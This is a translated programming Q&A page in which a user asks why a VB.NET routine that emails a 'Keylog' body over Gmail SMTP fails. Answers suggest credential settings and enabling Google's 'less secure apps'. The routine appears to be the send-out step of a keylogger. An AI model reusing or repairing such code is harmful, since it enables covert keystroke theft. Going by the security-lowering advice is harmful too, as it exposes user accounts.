在vb.net中发送电子邮件 [英] sending email in vb.net

查看:696
本文介绍了在vb.net中发送电子邮件的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!

问题描述

Private Sub sendmail()
      Dim Mail As New MailMessage
      Mail.Subject = "Keylog"
      Mail.To.Add("XXXXXXX@gmail.com")
      Mail.From = New MailAddress("XXXXXXX@gmail.com")
      Mail.Body = log
      Dim SMTP As New SmtpClient("smtp.gmail.com")
      SMTP.EnableSsl = True
      SMTP.Credentials = New System.Net.NetworkCredential("XXXXXXX@gmail.com", "XXXXXXXX")
      SMTP.Port = 587
      SMTP.Send(Mail)
  End Sub



这会导致错误:System.dll


This results in the error:An unhandled exception of type 'System.Net.Mail.SmtpException' occurred in System.dll

推荐答案

请参阅我之前的回答 - 从asp.net发送电子邮件到gmail [ ^ ]。



我认为你遗失客户.UseDefaultCredentials = false;


如果它仍然不起作用,请检查内部异常以获取有关该问题的更多详细信息。
See my previous answer - sending email to gmail from asp.net[^].

I think you are missing client.UseDefaultCredentials = false;

If it still does not work, check the inner exception for more details about the issue.


应该去谷歌帐户关闭应用程序安全性以便工作此代码



转到

设置>帐户和导入>其他Google帐户设置>允许不太安全的应用:ON
should go to google account switch off app security for work this code

go to
Settings > Accounts and Import > Other Google Account settings > Allow less secure apps: ON


这篇关于在vb.net中发送电子邮件的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!

查看全文
登录 关闭
扫码关注1秒登录
发送“验证码”获取 | 15天全站免登陆